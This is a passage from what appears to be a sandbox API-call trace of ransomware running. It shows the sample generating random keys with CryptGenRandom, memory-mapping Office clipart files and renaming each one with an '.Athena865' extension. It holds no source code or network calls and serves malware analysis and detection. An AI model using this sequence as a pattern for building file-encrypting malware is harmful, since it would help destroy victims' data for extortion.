dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.016] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9818) returned 1 [0122.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.016] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.017] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.017] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.017] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2960, lpName=0x0) returned 0x154 [0122.018] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2960) returned 0x100000 [0122.019] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.020] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.020] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.020] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.021] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00045_.WMF" | out: lpString1="BL00045_.WMF") returned="BL00045_.WMF" [0122.021] lstrlenW (lpString="BL00045_.WMF") returned 12 [0122.021] lstrlenW (lpString="Athena865") returned 9 [0122.021] lstrcmpiW (lpString1="0045_.WMF", lpString2="Athena865") returned -1 [0122.021] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.Athena865") returned 73 [0122.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.022] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7862) returned 1 [0122.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.022] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.023] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.023] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.023] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21c0, lpName=0x0) returned 0x154 [0122.024] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21c0) returned 0x100000 [0122.026] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.027] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.027] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.027] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00098_.WMF" | out: lpString1="BL00098_.WMF") returned="BL00098_.WMF" [0122.027] lstrlenW (lpString="BL00098_.WMF") returned 12 [0122.027] lstrlenW (lpString="Athena865") returned 9 [0122.027] lstrcmpiW (lpString1="0098_.WMF", lpString2="Athena865") returned -1 [0122.027] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.Athena865") returned 73 [0122.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.029] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1012) returned 1 [0122.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.029] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.029] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.030] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.030] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x700, lpName=0x0) returned 0x154 [0122.032] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x700) returned 0x100000 [0122.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.034] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.034] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.035] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00105_.WMF" | out: lpString1="BL00105_.WMF") returned="BL00105_.WMF" [0122.035] lstrlenW (lpString="BL00105_.WMF") returned 12 [0122.035] lstrlenW (lpString="Athena865") returned 9 [0122.035] lstrcmpiW (lpString1="0105_.WMF", lpString2="Athena865") returned -1 [0122.035] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.Athena865") returned 73 [0122.035] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.037] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=880) returned 1 [0122.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.037] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.038] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.038] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.038] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x670, lpName=0x0) returned 0x154 [0122.041] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x670) returned 0x100000 [0122.042] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.043] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.043] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.043] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00122_.WMF" | out: lpString1="BL00122_.WMF") returned="BL00122_.WMF" [0122.043] lstrlenW (lpString="BL00122_.WMF") returned 12 [0122.043] lstrlenW (lpString="Athena865") returned 9 [0122.043] lstrcmpiW (lpString1="0122_.WMF", lpString2="Athena865") returned -1 [0122.043] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.Athena865") returned 73 [0122.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.044] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10146) returned 1 [0122.045] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.045] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.045] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.046] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ab0, lpName=0x0) returned 0x154 [0122.048] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ab0) returned 0x100000 [0122.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.050] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.050] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.051] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00130_.WMF" | out: lpString1="BL00130_.WMF") returned="BL00130_.WMF" [0122.051] lstrlenW (lpString="BL00130_.WMF") returned 12 [0122.051] lstrlenW (lpString="Athena865") returned 9 [0122.051] lstrcmpiW (lpString1="0130_.WMF", lpString2="Athena865") returned -1 [0122.051] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.Athena865") returned 73 [0122.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.052] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1464) returned 1 [0122.052] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.053] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.053] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.053] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x154 [0122.056] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000 [0122.057] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.058] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.058] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.058] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00148_.WMF" | out: lpString1="BL00148_.WMF") returned="BL00148_.WMF" [0122.058] lstrlenW (lpString="BL00148_.WMF") returned 12 [0122.058] lstrlenW (lpString="Athena865") returned 9 [0122.059] lstrcmpiW (lpString1="0148_.WMF", lpString2="Athena865") returned -1 [0122.059] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.Athena865") returned 73 [0122.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.060] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1696) returned 1 [0122.060] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.060] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.061] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.061] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a0, lpName=0x0) returned 0x154 [0122.064] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a0) returned 0x100000 [0122.064] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.065] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.065] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.065] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00152_.WMF" | out: lpString1="BL00152_.WMF") returned="BL00152_.WMF" [0122.066] lstrlenW (lpString="BL00152_.WMF") returned 12 [0122.066] lstrlenW (lpString="Athena865") returned 9 [0122.066] lstrcmpiW (lpString1="0152_.WMF", lpString2="Athena865") returned -1 [0122.066] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.Athena865") returned 73 [0122.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.067] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1516) returned 1 [0122.068] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.068] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.068] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.068] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f0, lpName=0x0) returned 0x154 [0122.071] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f0) returned 0x100000 [0122.074] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.075] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.075] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.076] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00194_.WMF" | out: lpString1="BL00194_.WMF") returned="BL00194_.WMF" [0122.076] lstrlenW (lpString="BL00194_.WMF") returned 12 [0122.076] lstrlenW (lpString="Athena865") returned 9 [0122.076] lstrcmpiW (lpString1="0194_.WMF", lpString2="Athena865") returned -1 [0122.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.Athena865") returned 73 [0122.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3986) returned 1 [0122.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.078] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.078] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.078] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12a0, lpName=0x0) returned 0x154 [0122.080] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12a0) returned 0x100000 [0122.084] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.085] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.085] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.085] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00195_.WMF" | out: lpString1="BL00195_.WMF") returned="BL00195_.WMF" [0122.085] lstrlenW (lpString="BL00195_.WMF") returned 12 [0122.085] lstrlenW (lpString="Athena865") returned 9 [0122.085] lstrcmpiW (lpString1="0195_.WMF", lpString2="Athena865") returned -1 [0122.086] lstrlenW (lpString=".dll") returned 4 [0122.086] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.Athena865") returned 73 [0122.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.087] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8070) returned 1 [0122.087] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.088] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.088] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.088] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2290, lpName=0x0) returned 0x154 [0122.090] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2290) returned 0x100000 [0122.093] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.094] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.094] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.094] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00234_.WMF" | out: lpString1="BL00234_.WMF") returned="BL00234_.WMF" [0122.095] lstrlenW (lpString="BL00234_.WMF") returned 12 [0122.095] lstrlenW (lpString="Athena865") returned 9 [0122.095] lstrcmpiW (lpString1="0234_.WMF", lpString2="Athena865") returned -1 [0122.095] lstrlenW (lpString=".dll") returned 4 [0122.095] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.Athena865") returned 73 [0122.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.athena865"), dwDesiredAccess=0xc00e0000, 